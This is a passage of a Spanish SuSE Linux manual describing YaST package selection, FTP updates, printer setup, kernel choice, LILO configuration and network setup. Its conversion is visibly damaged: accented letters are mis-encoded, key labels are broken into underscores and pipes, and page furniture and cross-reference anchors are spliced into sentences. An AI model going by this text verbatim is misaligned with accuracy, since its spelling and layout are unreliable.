  6287.                            nueva configuraci≤n; si se desea mantenerlos, entonces se debe contestar No
  6288.                            a  la  pregunta  de  seguridad  sobre  si  realmente  los  quiere  borrar  o  no.   Esta
  6289.                            pregunta aparece despuΘs de haber elegido `Empezar  Instalaci≤n' en el
  6290.                            men· de elecci≤n de paquetes.  De lo contrario se tendrφan que deseleccionar
  6291.                            uno a uno todos los paquetes marcados con `[D]' para que despuΘs aparez-
  6292.                            can marcados con `[i]'.
  6293.  
  6294.  
  6295. 96
  6296.        __________________________________________________________________________________3.5.__Escoger_/_Instalar_paquetes_________*
  6297.  *______________________
  6298.  
  6299.  
  6300.  
  6301. 3.5.2      Salvar configuraci≤n
  6302. Aquφ  se  puede  salvar  la  configuraci≤n  personal.   Si  se  ha  arrancado  YaST
  6303.  
  6304. desde  el  disquete,  se  usarß  el  mismo  para  salvarla.   Si  por  el  contrario  se
  6305. ha  arrancado  directamente  desde  el  CD,  YaST  pide  introducir  un  disquete
  6306. formateado para guardar los datos en Θl.
  6307.  
  6308.  
  6309. 3.5.3      Cambiar / Crear configuraci≤n
  6310.  
  6311. Al elegir esta opci≤n se entra en el editor de selecci≤n (figura 3.13), que le
  6312. permite determinar libremente el contenido de la instalaci≤n o modificar una
  6313. configuraci≤n  prefabricada  y  actualmente  cargada  (ver  apartado  3.5.1  en  la
  6314. pßgina anterior).  Otra caracterφstica de esta opci≤n es la de poder borrar pa-
  6315. quetes instalados despuΘs de la instalaci≤n principal en concepto de manten-
  6316. imiento del sistema.
  6317.                        Figura 3.13: Selecci≤n de las series en YaST
  6318.  
  6319.  
  6320. Es  posible  moverse__por__la  lista__de__opciones  usando__las  flechas  |__|"y  |__|#tal
  6321. como las teclas |R_________e|yPßg|________A|v. PßgCon |_____-| se puede llegar al sub-men·
  6322. para elegir los paquetes dentro de cada serie.
  6323.  
  6324. El  panel  inferior  informa  sobre  los  espacios  disponibles  y  ocupados  en  el
  6325. sistema.
  6326.  
  6327. Pulsando  la  tecla  |____|F4es  posible  reordenar  los  paquetes  para  tener  asφ  una
  6328. agrupaci≤n diferente de los mismos (figura 3.14 en la pßgina siguiente).  Ac-
  6329. tualmente,  aparte de `Series',  existe la opci≤n `Todos  los  paquetes'
  6330. (ingl. `All  packages' ), tras la cual se esconde la antigua serie ALL.
  6331.  
  6332. Para salir de una opci≤n, p. ej.  de_la_selecci≤n de series y volver al men· de
  6333. configuraci≤n superior, se pulsa |F____1|0.
  6334.  
  6335. Una  vez  seleccionada  una  serie  y  pulsando  |______|-,  se  entra  en  la  parte  de
  6336. elecci≤n de paquetes de la correspondiente serie (la figura 3.15 en la pßgina
  6337. siguiente) muestra p. ej.  el contenido de la serie a). En caso de haber cargado
  6338. anteriormente una configuraci≤n, todos los paquetes que ya estßn selecciona-
  6339. dos aparecen marcados con una X .
  6340.  
  6341.  
  6342.                                                                                                                                    *
  6343.  *     97
  6344. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6345.  *_______________________________________@
  6346.  
  6347.  
  6348.  
  6349.                                                     Figura 3.14: Reordenar paquetes en YaST
  6350.                                         Figura 3.15: Selecci≤n de paquetes, serie a1 (Sistema base)
  6351.  
  6352.  
  6353.  
  6354.                            En el panel inferior aparece siempre una descripci≤n corta del paquete que es-
  6355.                            tß actualmente seleccionado.  El panel derecho informa sobre el gasto actual
  6356.                            de espacio en las particiones del disco.  Estos valores se actualizan continua-
  6357.                            mente a medida que se vaya seleccionando o deseleccionando un paquete.
  6358.  
  6359.                            A veces el espacio disponible para la descripci≤n de los paquetes o para la
  6360.                            informaci≤n_sobre_las particiones no alcanza para mostrarlo todo, no obstante,
  6361.                            con |F___|2o |F___|3es posible ampliar estos paneles y asφ ver toda la informaci≤n
  6362.                            en una ventana aparte.
  6363.  
  6364.                            Por delante del nombre de paquete se indica su estado actual:
  6365.  
  6366.  
  6367.                            `[  ]'      indica un paquete que a·n no se ha instalado
  6368.  
  6369.                            `[X]'       indica un paquete que estß por instalarse
  6370.  
  6371.  
  6372. 98
  6373.        __________________________________________________________________________________3.5.__Escoger_/_Instalar_paquetes_________*
  6374.  *______________________
  6375.  
  6376.  
  6377.  
  6378. `[i]'       indica un paquete que ya estß instalado
  6379. `[D]'       indica un paquete que estß por borrarse
  6380.  
  6381. `[R]'       indica un paquete que estß por actualizarse
  6382.  
  6383. Pulsando | _____|_-se  cambia  entre_ los  estados  `[  ]'  y  `[X]'  o  entre  `[i]',
  6384. `[R]'   y   `[D]'.   Apretando   |___F|6se   consigue   la   instalaci≤n   adicional
  6385. del  paquete  fuente  correspondiente;   respecto  a  las  fuentes  vΘase  tam-
  6386. biΘn  el  apartado  15.3.3  en  la  pßgina  408Instalar  y  compilar  los  paquetes
  6387. fuentesubsection.15.3.3.  Desde  esta  posici≤n_ en  el  men·  es  posible  volver
  6388. a  la  selecci≤n  de  series  pulsando  |____F|10.   Si  desea  salir  de__la  selecci≤n  de
  6389. paquetes sin que las modificaciones tengan efecto, simplemente pulse |E____s|c.
  6390.  
  6391. Si  durante  la  instalaci≤n  se  da  cuenta  que  el  espacio  previsto  en  el  disco
  6392. duro no alcanza para la instalaci≤n deseada o que hace falta dividir el disco
  6393. en  particiones  diferentes,  entonces  es  posible  reparticionarlo  en  cualquier
  6394. momento.  El proceso de particionar no se efect·a antes de haber salido por
  6395. primera vez de YaST .
  6396.  
  6397. En  caso  de  haber  arrancado  YaST  desde  disquetes,  primero  se  instala  una
  6398. configuraci≤n mφnima, se arranca Linux y despuΘs se procede a instalar los
  6399. paquetes que hagan falta. TambiΘn en este caso es posible seleccionar a modo
  6400. de prueba todos los paquetes que se quiere instalar para averiguar el gasto de
  6401. espacio de la configuraci≤n deseada.
  6402.  
  6403.  
  6404. 3.5.4      ┐QuΘ pasarφa si...?
  6405.  
  6406. YaST  es  tambiΘn  una  utilidad  de  desinstalaci≤n  de  paquetes,  por  lo  tanto,
  6407. existe la opci≤n de comprobar que no se va a borrar ning·n fichero que sea
  6408. absolutamente imprescindible para el buen funcionamiento del sistema.
  6409.  
  6410.  
  6411. 3.5.5      Empezar instalaci≤n
  6412.  
  6413. Con esta opci≤n comienza realmente la instalaci≤n. Todos los paquetes elegi-
  6414. dos se leen desde el medio de instalaci≤n, se descomprimen y se escriben en
  6415. la partici≤n destino.
  6416.  
  6417. Si se han modificado las particiones del disco duro durante el inicio actual de
  6418. YaST , entonces todavφa no se puede efectuar la instalaci≤n, ya que hace falta
  6419. reiniciar la computadora despuΘs de cualquier modificaci≤n de una partici≤n.
  6420. Los datos modificados de las particiones no se escriben en el disco antes de
  6421. salir de YaST .
  6422.  
  6423. Durante la instalaci≤n se indican en la ventana inferior los posibles mensajes
  6424. de error y de estado.  La lφnea superior indica siempre cußl paquete se instala
  6425. en cada momento.
  6426.  
  6427. DespuΘs de la instalaci≤n es posible cambiar con |T_____|aba la ventana de apuntes
  6428. (protocolo) y desde allφ desplazarse hacia arriba para ver y analizar los posi-
  6429. bles mensajes de error.
  6430.  
  6431.  
  6432. 3.5.6      Comprobar las dependencias
  6433.  
  6434. Aquφ YaST  comprueba las dependencias entre los paquetes instalados y los
  6435. previstos para instalar excepto los que estßn marcados para borrar.  En otras
  6436.  
  6437.  
  6438.                                                                                                                                    *
  6439.  *     99
  6440. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6441.  *_______________________________________@
  6442.  
  6443.  
  6444.  
  6445.                            palabras, lo que se comprueba es la correcta coexistencia de todos los paque-
  6446.                            tes como si ya se hubiera elegido `Empezar  Instalaci≤n'.
  6447.  
  6448.                            Existen los siguientes tipos de dependencias:
  6449.  
  6450.                            ________________________________________________________________________________________________________*
  6451.  *________
  6452.  
  6453.  
  6454.                               AND         Instalando este paquete se deben instalar todos los demßs o bien
  6455.                                           ya deben estar instalados. Ejemplo: Instalando un compilador se
  6456.                                           necesitan tambiΘn los ficheros Include y los Libs.
  6457.                               OR          Instalando  este  paquete,  se  debe  instalar  o  debe  estar  instalado
  6458.                                           como mφnimo uno de los paquetes indicados.
  6459.                               EXCL        Instalando este paquete no se debe instalar o no debe estar insta-
  6460.                                           lado ninguno de los paquetes indicados.
  6461.  
  6462.                            ________________________________________________________________________________________________________*
  6463.  *________
  6464.  
  6465.                                                     Tabla 3.1: Dependencias entre los paquetes
  6466.  
  6467.  
  6468.  
  6469.                            Las dependencias entre paquetes encontradas, se apuntan finalmente en una
  6470.                            lista.
  6471.  
  6472.  
  6473.                            3.5.7      Listado de las series y paquetes
  6474.  
  6475.                            Aquφ simplemente se muestra una lista de todos los paquetes en el CD. Los
  6476.                            paquetes marcados con `*' ya estßn instalados o bien seleccionados para ser
  6477.                            instalados.  Esta funci≤n es muy prßctica a la hora de conseguir un resumen
  6478.                            rßpido.
  6479.  
  6480.  
  6481.                            3.5.8      Informaci≤n sobre paquetes
  6482.  
  6483.                            A veces uno quiere saber d≤nde se esconde en el SuSE     Linux-CD el fantßstico
  6484.                            programa que mencionaron en una revista de PC.
  6485.  
  6486.                            Para buscar paquetes y ficheros de forma sencilla y rßpida, en el SuSE     Linux-
  6487.                            CD  y  en  el  sistema  instalado  hay  informaci≤n  sobre  estos;  simplemente  se
  6488.                            indica el nombre del fichero que se necesita y YaST  procederß a buscarlo en
  6489.                            el medio indicado y presentarß un listado con los sitios localizados.
  6490.  
  6491.  
  6492.                            3.5.9      Instalar paquetes
  6493.  
  6494.                            Esta opci≤n existe para instalar cualquier paquete,  p. ej.  versiones nuevas o
  6495.                            corregidas  que  proporcionamos  en  el  servidor  FTP  ftp.suse.com.   Tam-
  6496.                            biΘn sirve para instalar paquetes generados por cuenta propia o recibidos de
  6497.                            otras fuentes. Se soportan ficheros Tar comprimidos (.tgz) y paquetes RPM
  6498.                            (.rpm, .spm y .src.rpm) al igual que paquetes especiales tipo Patch (.pat),
  6499.                            que proporcionamos seg·n necesidad en nuestro servidor FTP.
  6500.  
  6501.                            La instalaci≤n_se realiza en 3 pasos (es posible ver instrucciones explφcitas
  6502.                            pulsando |F___|1):
  6503.  
  6504.                              o   Selecci≤n de la fuente de instalaci≤n
  6505.  
  6506.                              o   Selecci≤n de los paquetes allφ ofrecidos
  6507.  
  6508.                              o   Instalaci≤n de los paquetes
  6509.  
  6510.  
  6511. 100
  6512.        __________________________________________________________________________________3.5.__Escoger_/_Instalar_paquetes_________*
  6513.  *______________________
  6514.  
  6515.  
  6516.  
  6517. Pulsando  |_____|_-en  la  opci≤n  `Fuente':  aparece  un  listado  de  las  posibles
  6518. fuentes de instalaci≤n:  `Directorio', `FTP', `Medio  fuente' y `Dis-
  6519. quete'.  Podrφa ser necesario_cambiar el path predefinido (Directorio/FTP)
  6520. y  confirmarlo  con  |_____-|.    YaST  muestra  ahora  una  lista  con  los  paque-
  6521. tes  disponibles  allφ  y  entonces  es  posible  instalar  directamente  desde  Inter-
  6522. net usando la opci≤n `FTP'. La direcci≤n es ftp.suse.com:/pub/suse/
  6523. i386    /update/6.4    (ver figura 3.16).  Por el momento no es posible instalar
  6524. paquetes a travΘs de un ''Proxy'' ya que se precisa el acceso directo al servidor
  6525. FTP.
  6526.                              Figura 3.16: Instalar paquetes vφa FTP
  6527.  
  6528.  
  6529.        _______________________________________________________________________________________________________________________||
  6530.        ||||||||  Si aparece un mensaje como "530  User  ftp  access  denied", lo mßs                            |||            |
  6531.        ||||||||  probable  es  que  solo  de  modo  temporal  no  haya  acceso  por  saturaci≤n.                ||             |
  6532.        ||||||||                                                                                                 ||             |
  6533.        ||||||||  PruΘbelo mßs tarde cuando haya menos usuarios conectados al sistema.                           ||             |
  6534.        ||||||||_______________________________________________________________________________________________________________||_
  6535.  
  6536. Una vez alcanzado_el_paquete_rpm que se quiere instalar,_como_siempre, se
  6537. marca con |E__________s|pacioy despuΘs se instala con |F____1|0.  El paquete correspondi-
  6538. ente se copia tambiΘn en el directorio /tmp/ftp<n·mero  de  proceso>                         ,
  6539. de  este  modo  existe  la  posibilidad  de  instalarlo  a  mano  mßs  tarde,  en  caso
  6540. de que algo hubiese ido mal   (ver apartado 15.3.1 en la pßgina 405Instalar,
  6541. actualizar y desinstalar paquetessubsection.15.3.1) .
  6542.  
  6543.  
  6544.  
  6545. 3.5.10       Eliminar/Borrar paquetes
  6546.  
  6547. Al seleccionar esta opci≤n, YaST mostrarß una lista de todos los paquetes que
  6548. estßn instalados en el sistema incluidos los paquetes ajenos.  Como ''paquete
  6549. ajeno''  se  entiende  un  paquete  que  no  se  encuentra  en  ning·n  SuSE    -CD.
  6550. En  tal  caso,  YaST  no  puede  hacer  ninguna  actualizaci≤n  y  tampoco  puede
  6551. comprobar las dependencias entre ellos.
  6552.  
  6553. Lo  mßs  sencillo  es  reemplazarlos  por  los  paquetes  correspondientes  de  los
  6554. SuSE    -CDs.   Para  ello  se  selecciona  en  la  lista  los  paquetes  afectados;  con
  6555.  F2    |||||||||__aparece  una  descripci≤n  breve  del  paquete,  ya  que  no  existe  ninguna
  6556.  
  6557.  
  6558.                                                                                                                                    *
  6559.  *   101
  6560. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6561.  *_______________________________________@
  6562.  
  6563.  
  6564.  
  6565.                            descripci≤n larga para ellos;  con |F_____|10se borran los paquetes seleccionados
  6566.                            y despuΘs es posible instalarlos otra vez desde el CD de SuSE.
  6567.  
  6568.  
  6569.                            3.6       Actualizar el sistema
  6570.  
  6571.                            No se deberφa usar la opci≤n `Actualizar  sistema' si el sistema base no
  6572.                            es lo suficientemente actual - es decir, cuando su versi≤n no es igual a la del
  6573.                            medio fuente. De todas maneras YaST  lo indicarß claramente.
  6574.  
  6575.                            Para hacer realmente una actualizaci≤n del sistema, comience como se expli-
  6576.                            ca en el capφtulo 15 en la pßgina 393Actualizaci≤n del sistema ~ Gesti≤n de
  6577.                            paqueteschapter.15.  Los  paquetes  sueltos  se  actualizan  con  YaST  seg·n  el
  6578.                            apartado 3.5.9 en la pßgina 100Instalar paquetessubsection.3.5.9.
  6579.  
  6580.  
  6581.  
  6582.                            3.7       Administraci≤n del sistema
  6583.  
  6584.                            Ademßs  de  la  pura  instalaci≤n,  YaST  le  soporta  tambiΘn  en  las  diferentes
  6585.                            tareas  de  administraci≤n  que  tendrß  que  afrontar  como  +  Administrador  de
  6586.                            sistema.
  6587.  
  6588.                            DespuΘs de finalizar realmente la instalaci≤n, es necesario ajustar una serie
  6589.                            de parßmetros para adaptar el sistema a los requerimientos particulares, tales
  6590.                            como:  configuraci≤n  y  activaci≤n  de  servicios  de  red,  instalaci≤n  de  hard-
  6591.                            ware adicional, generaci≤n de usuarios, determinaci≤n de las propiedades de
  6592.                            arranque de SuSE     Linux, etc.
  6593.                                                       Figura 3.17: Administraci≤n del sistema
  6594.  
  6595.  
  6596.                            Para entrar en la parte de administraci≤n del sistema hay que elegir `Admin-
  6597.                            istraci≤n  del  sistema' (figura 3.1 en la pßgina 84El men· principal de
  6598.                            YaST  section.3.2) en el men· principal de YaST  (ver figura 3.17).
  6599.  
  6600.  
  6601.                            3.7.1      Instalar hardware en el sistema
  6602.  
  6603.                            Aquφ es posible especificar con mßs detalle el hardware usado. Por lo general
  6604.                            se  genera  un  enlace  simb≤lico  (+  Enlace)  (ingl.  Link)  entre  un  dispositivo
  6605.  
  6606.  
  6607. 102
  6608.        __________________________________________________________________________________3.7.__Administraci≤n_del_sistema__________*
  6609.  *______________________
  6610.  
  6611.  
  6612.  
  6613. estßndar  y  el  hardware.   Asφ  se  puede  acceder  fßcilmente  al  hardware  sin
  6614. necesidad de recordar el nombre exacto del mismo.
  6615.  
  6616.  
  6617.  
  6618.                            Figura 3.18: Configuraci≤n de hardware
  6619.  
  6620.  
  6621. Las configuraciones de mouse, escßner, tarjeta de red y lector CD-ROM son
  6622. muy sencillas ~ solo hay que seguir las indicaciones de los men·s ;-)
  6623.  
  6624. Por otra parte, la configuraci≤n de la impresora, que se encuentra en el pr≤xi-
  6625. mo apartado, es algo mßs complicada.
  6626.  
  6627.  
  6628. Configurar impresoras
  6629.  
  6630. El acceso a una impresora bajo Linux es un proceso complejo; la explicaci≤n
  6631. tΘcnica se encuentra en el 12 en la pßgina 325Impresoraschapter.12.  Afor-
  6632. tunadamente  existe  el  programa  apsfilter  que  es  un  filtro  potente  capaz  de
  6633. reconocer automßticamente el tipo de fichero para luego convertirlo y man-
  6634. darlo a la impresora.
  6635.  
  6636. El formato PostScript juega un papel muy importante en Linux tal como en
  6637. los  otros  sistemas  Unix.   Imprimir  un  fichero  PostScript  en  una  impresora
  6638. PostScript  es  bastante  sencillo.   Lamentablemente  por  el  alto  precio  de  las
  6639. mismas la minorφa de los usuarios tiene una impresora con estas caracterφs-
  6640. ticas.  Por eso se usa Ghostscript  (gs  ), un programa gratuito, que se encarga
  6641. de la interpretaci≤n de un documento en PostScript para despuΘs convertirlo
  6642. a un formato que entiende la impresora directamente.
  6643.  
  6644. Cuando se usa apsfilter tambiΘn los ficheros +  ASCII se convierten primero a
  6645. PostScript para ser impresos directamente en una impresora PostScript o bien
  6646. para enviarlos vφa Ghostscript  a cualquier impresora.
  6647.  
  6648. YaST  ofrece  la  posibilidad  de  configurar  c≤modamente  el  apsfilter  para  la
  6649. impresora (figura 3.19 en la pßgina siguiente):
  6650.  
  6651. Si tiene una impresora de color, active la correspondiente opci≤n en la plantil-
  6652. la. En `Tipo  de  impresora' indique si la impresora ''entiende'' PostScript
  6653. o no.
  6654.  
  6655. La  opci≤n  `Nombre  de  la  impresora'  muestra  todas  las  impresoras
  6656. soportadas  por  Ghostspript.   Desde  esta  lista  se  debe  elegir  la  impresora
  6657.  
  6658.  
  6659.                                                                                                                                    *
  6660.  *   103
  6661. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6662.  *_______________________________________@
  6663.  
  6664.  
  6665.  
  6666.                                                    Figura 3.19: Configurar apsfilter con YaST
  6667.  
  6668.                            que  se  usa  (ver  apartado  12.6  en  la  pßgina  340Listado  de  las  impresoras
  6669.                            soportadassection.12.6).   En  caso  de  no  haber  un  ''driver''  de  Ghostscript
  6670.                            disponible, es posible introducirlo a mano usando la opci≤n `Otra  impre-
  6671.                            sora' y despuΘs `<Personalizada>'; comprobar mediante la ejecuci≤n
  6672.                            de  gs  -h   ,  si  la  versi≤n  instalada  de  Ghostscript  realmente  reconoce  este
  6673.                            driver. ~ Actualmente, lo mßs seguro para configurar el driver uniprint        y su
  6674.                            fichero de parßmetros es el uso de SETUP  (lprsetup        ) (ver el apartado 12.3
  6675.                            en la pßgina 334Configuraci≤n con SETUP  (lprsetup        )Hfootnote.59).
  6676.  
  6677.  
  6678.                            En caso de no encontrar su impresora en la lista, se puede probar un modelo
  6679.                            parecido, que puede ser el antecesor al modelo actual. Si se tiene por ejemplo
  6680.                            una HP LaserJet 5L, entonces se elegirφa de la lista la HP Laserjet 4.
  6681.  
  6682.  
  6683.                            Respecto al `Formato  de  papel', lo mßs normal para Espa±a es elegir A4
  6684.                            pero tambiΘn se soporta el tipo carta (letter) para las AmΘricas.
  6685.  
  6686.  
  6687.                            Si la impresora estß conectada a un +  Puerto serie se puede indicar adicional-
  6688.                            mente la velocidad de transferencia para este puerto.
  6689.  
  6690.  
  6691.                            Hoy en dφa las impresoras suelen estar conectadas a un puerto paralelo (puerto
  6692.                            de impresora),  asφ que se debe indicar el puerto que se va a usar.  Siempre
  6693.                            que la impresora se conecta al primer puerto paralelo y a partir de la versi≤n
  6694.                            2.2.xx del kernel, este puerto es /dev/lp0. Por el contrario, se usa /dev/lp1
  6695.                            cuando la computadora estß equipada con dos puertos paralelos;  /dev/lp2
  6696.                            indica el puerto en el cual se encuentra una tarjeta grßfica de HΘrcules 2 .
  6697.  
  6698.  
  6699.  
  6700.                            _____________________________________________2
  6701.                              Hasta la versi≤n 2.0.xx del kernel, se accede al primer puerto paralelo con /dev/lp1
  6702.  
  6703.  
  6704. 104
  6705.        __________________________________________________________________________________3.7.__Administraci≤n_del_sistema__________*
  6706.  *______________________
  6707.  
  6708.        _______________________________________________________________________________________________________________________|||||
  6709.        ||||||||  En  caso  de  que  la  impresora  no  imprima,  repase  la  lista  de  compro-                 |||            |
  6710.        ||||||||| baci≤n  en  el  apartado  12.7  en  la  pßgina  345Lista  de  comprobaci≤n:                    ||             ||
  6711.        ||||||||  apsfiltersection.12.7.                                                                         |||            |
  6712.        ||||||||                                                                                                 ||             |
  6713.        ||||||||  En caso de duda configure en la BIOS los siguiente valores para el puerto                      ||             |
  6714.        ||||||||  paralelo:                                                                                      ||             |
  6715.        ||||||||                                                                                                 ||             |
  6716.        ||||||||                                                                                                 ||             |
  6717.        ||||||||    o   Direcci≤n-IO 378    (hexadecimal)                                                        ||             |
  6718.        ||||||||    o   Interrupci≤n 7                                                                           ||             |
  6719.        ||||||||                                                                                                 ||             |
  6720.        ||||||||    o   Modo: Normal (o SPP)                                                                     ||             |
  6721.        ||||||||                                                                                                 ||             |
  6722.        ||||||||    o   desactive DMA (deberφa estar desactivado en modo Normal)                                 ||             |
  6723.        ||||||||                                                                                                 ||             |
  6724.        ||||||||  Estos son los valores estßndar.                                                                ||             |
  6725.        ||||||||_______________________________________________________________________________________________________________||_
  6726.  
  6727. Es necesario comprobar y tal vez ajustar `Resoluci≤n  en  dpi'; conviene
  6728. seguir las instrucciones del manual de su impresora.
  6729.  
  6730.  
  6731. 3.7.2      Configuraci≤n del kernel y arranque
  6732.  
  6733. Aquφ es posible hacer ajustes bßsicos que tienen influencia sobre el arranque
  6734. del sistema y el kernel usado.
  6735.                      Figura 3.20: Configuraci≤n de kernel y arranque
  6736. `Elegir  el  kernel  (de  arranque)'
  6737.  
  6738. Para instalar un kernel precompilado junto con los m≤dulos correspondientes
  6739. (desde el SuSE    -CD) seleccione (`Elegir  el  kernel').  Este se ofrece por
  6740. ejemplo cuando la primera selecci≤n durante la instalaci≤n no fue la ≤ptima.
  6741. YaST  tambiΘn  le  ofrecerß  copiar  la  configuraci≤n  del  kernel  (.config)  al
  6742. directorio de las fuentes del mismo (/usr/src/linux).
  6743.  
  6744. Seleccione el kernel para la arquitectura especial de la computadora y deje
  6745. que YaST  configure de nuevo el LILO . Si anteriormente no fue posible ar-
  6746. rancar con LILO  consulte abajo las instrucciones sobre la configuraci≤n de
  6747. LILO .
  6748.  
  6749.  
  6750.                                                                                                                                    *
  6751.  *   105
  6752. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6753.  *_______________________________________@
  6754.  
  6755.  
  6756.  
  6757.                            Para  el  usuario  avanzado  es  bastante  recomendable  que  compile  su  propio
  6758.                            kernel una vez finalizada la instalaci≤n (ver capφtulo 13 en la pßgina 349El
  6759.                            kernelchapter.13).  Este tipo de kernel ~ hecho justamente a medida del sis-
  6760.                            tema ~ es mßs peque±o, mßs rßpido y evita problemas de drivers con hardware
  6761.                            no existente. Como principiante en el tema de Linux es mejor quedarse con el
  6762.                            kernel estßndar que le suministramos, ya que solo usando este kernel estßndar,
  6763.                            tendrß derecho al soporte de instalaci≤n (ver apartado H.1 en la pßgina 54160
  6764.                            dφas de soporte de instalaci≤nsection.H.1).
  6765.  
  6766.  
  6767.                            `Crear  disco  de  rescate'
  6768.  
  6769.                            Un disquete de ''emergencia'' o de ''rescate'' (rescue disk) es bueno cuando
  6770.                            el sistema Linux ya no quiere arrancar de ninguna otra forma. Se genera con
  6771.                            la opci≤n `Crear  disco  rescate' (ver apartado  16.5 en la pßgina 425El
  6772.                            sistema de rescate de SuSE     section.16.5).
  6773.  
  6774.  
  6775.                            `Configuraci≤n  LILO'
  6776.  
  6777.                            YaST  ofrece  tambiΘn  una  pantalla  para  una  fßcil  configuraci≤n  del  LILO
  6778.                            (ingl. LInux LOader) (figura 3.21).  LILO  gestiona tambiΘn el arranque de
  6779.                            OS/2-,  DOS-  y  Windows  95/98,  pero  hay  que  tener  cuidado  con  Windows
  6780.                            NT. En el capφtulo 4 en la pßgina 119Arrancar y gestor de arranquechapter.4
  6781.                            hay mßs informaci≤n sobre el significado de cada campo y de sus opciones.
  6782.  
  6783.  
  6784.  
  6785.                                                            Figura 3.21: Instalaci≤n de LILO
  6786.  
  6787.  
  6788.                            La   `Lφnea  para  parßmetros  de  hardware'   se   queda   generalmente
  6789.                            vacφa;  ver  apartado  4.4.2  en  la  pßgina  128Otras  opciones  de  configuraci≤n
  6790.                            (Selecci≤n)subsection.4.4.2, salvo que se hayan usado parßmetros adicionales
  6791.                            para  el  primer  arranque.   En  tal  caso  se  introducen  estos  parßmetros,  pero
  6792.                            sin  el  nombre  del  kernel  linux      por  delante!    Los  detalles  se  muestran
  6793.                            en  el  apartado  4.4.2  en  la  pßgina  128Otras  opciones  de  configuraci≤n
  6794.                            (Selecci≤n)subsection.4.4.2.
  6795.  
  6796.  
  6797. 106
  6798.        __________________________________________________________________________________3.7.__Administraci≤n_del_sistema__________*
  6799.  *______________________
  6800.  
  6801.  
  6802.  
  6803. `┐D≤nde  desea  instalar  LILO ?':  Si solo existe Linux en la computa-
  6804. dora, entonces Master  boot  record               es el sitio correcto;
  6805. Sector  de  arranque  de  la  partici≤n  /boot                                 se   recomienda   cuan-
  6806. do  se  quiere  arrancar  Linux  con  otro  gestor  de  arranque  (ingl.  Boot-
  6807. manager);  en  caso  de  no  haber  generado  la  partici≤n  /boot,  seleccione
  6808. (Sector  de)  Arranque  de  la  partici≤n  raφz                                .    En  disquete         :   es-
  6809. tß  claro,  verdad?.   La  explicaci≤n  tΘcnica  de  estos  ajustes  estß  en  el  en  la
  6810. pßgina 123┐D≤nde se puede instalar LILO ?Hfootnote.17.
  6811.  
  6812. `Retraso  arranque':   Se  indica  en  segundos;  10  segundos  es  un  buen
  6813. valor.
  6814.  
  6815. `Opci≤n  "linear"':  Se trata de una opci≤n que generalmente no se nece-
  6816. sita; ver tambiΘn apartado 4.4.2 en la pßgina 128Otras opciones de configu-
  6817. raci≤n (Selecci≤n)subsection.4.4.2.
  6818.  
  6819. Con `F4=Nueva  Conf.'  se fija el nombre de una nueva configuraci≤n; re-
  6820. sulta prßctico llamar linux      a la configuraci≤n estßndar.  Las configuraciones
  6821. ya  existentes  pueden  ser  modificadas  con  `F5=Editar  Conf.'.   Para  ello
  6822. YaST  proporciona una pantalla que se muestra en la figura 3.22.
  6823.                       Figura 3.22: LILO : Configuraci≤n de arranque
  6824.  
  6825.  
  6826. Los significados de los campos son los siguientes:
  6827.  
  6828. `Nombre  de  la  configuraci≤n':  Depende de la imaginaci≤n,  pero use
  6829. linux      para la primera.
  6830.  
  6831. `QuΘ  sistema  operativo': se ofrecen las posibilidades de: Arrancar  Linux            ,
  6832. Arrancar  DOS/Win                ~  la  opci≤n  correcta  para  Windows  95  y  98  ~  y
  6833. Arrancar  OS/2           .
  6834.  
  6835. `Partici≤n  raφz  a  arrancar': Esta opci≤n es predeterminada; general-
  6836. mente  no  se  precisa  ning·n  cambio.   Pulse  `F3'  y  seleccione  la  partici≤n
  6837. correcta.
  6838.  
  6839.  
  6840.                                                                                                                                    *
  6841.  *   107
  6842. 3.  YaST  ~ Yet another_Setup_Tool_________________________________________________________________________________________________*
  6843.  *_______________________________________@
  6844.  
  6845.  
  6846.  
  6847.                            `Kernel  opcional': Solo marcar cuando este kernel no estΘ a disposici≤n
  6848.                            permanentemente, o sea, en caso de un kernel que solamente se instala para
  6849.                            pruebas.
  6850.  
  6851.                            `Kernel  a  iniciar  por  LILO ': Por lo general aquφ tampoco hace falta
  6852.                            modificar nada.  La ubicaci≤n estßndar de SuSE      Linux es /boot/vmlinuz;
  6853.                            con `F3' se puede pasar por el ßrbol de directorios.
  6854.  
  6855.                            Con `Continuar' se instala LILO  y con `Abortar' se puede cancelar la
  6856.                            instalaci≤n.
  6857.                            ________________________________________________________________________________________________________*
  6858.  *________|||
  6859.                            |                                                                                                       *
  6860.  *        |||
  6861.                            |  Cuando  se  configura  LILO  se  recomienda  a±adir  una  segunda  configu-                          *
  6862.  *        |||
  6863.                            |  raci≤n (p. ej.  old   ) para la cual se indica como kernel a arrancar /boot/                         *
  6864.  *        |||
  6865.                            |                                                                                                       *
  6866.  *        |||
  6867.                            |  vmlinuz.old y ademßs el campo `Kernel  opcional';  asφ tambiΘn se                                    *
  6868.  *        |||
  6869.                            |  podrß  arrancar  el  sistema  cuando  un  kernel  recientemente  compilado  no                       *
  6870.  *        |||
  6871.                            |                                                                                                       *
  6872.  *        |||
  6873.                            |  funcione,  porque  usando  la  instalaci≤n  automßtica  de  LILO  siempre  se                        *
  6874.  *        |||
  6875.                            |  genera una copia de seguridad del antiguo kernel, que se puede iniciar con                           *
  6876.  *        |||
  6877.                            |                                                                                                       *
  6878.  *        |||
  6879.                            |  la configuraci≤n old   (ver capφtulo 13 en la pßgina 349El kernelchapter.13).                        *
  6880.  *        |||
  6881.                            |_______________________________________________________________________________________________________*
  6882.  *________|||_
  6883.  
  6884.  
  6885.                            3.7.3      Configuraci≤n de red
  6886.  
  6887.                            Con YaST  es posible efectuar los ajustes bßsicos de la red (ver figura 3.23).
  6888.                            íEn  todo  caso  configure  la  red,  aunque  la  computadora  en  realidad  no  se
  6889.                            encuentre  en  ella  o  no  tenga  tarjeta  de  red!   Hay  muchos  programas  que
  6890.                            necesitan soporte de red para poder funcionar correctamente.
  6891.                                                          Figura 3.23: Configuraci≤n de la red
  6892.  
  6893.  
  6894.  
  6895.                            `Configuraci≤n  bßsica  de  red'                         Aquφ se define(n) bßsicamente la(s) +
  6896.                                  Direcci≤n-IP y se asignan a las interfaces de red como tarjeta red, dispos-
  6897.                                  itivo PPP o RDSI, etc.  (ver figura 3.24 en la pßgina siguiente);  el en la
  6898.                                  pßgina 153Requisitos, Preparativoschapter.5 aclara estos tΘrminos.
  6899.  
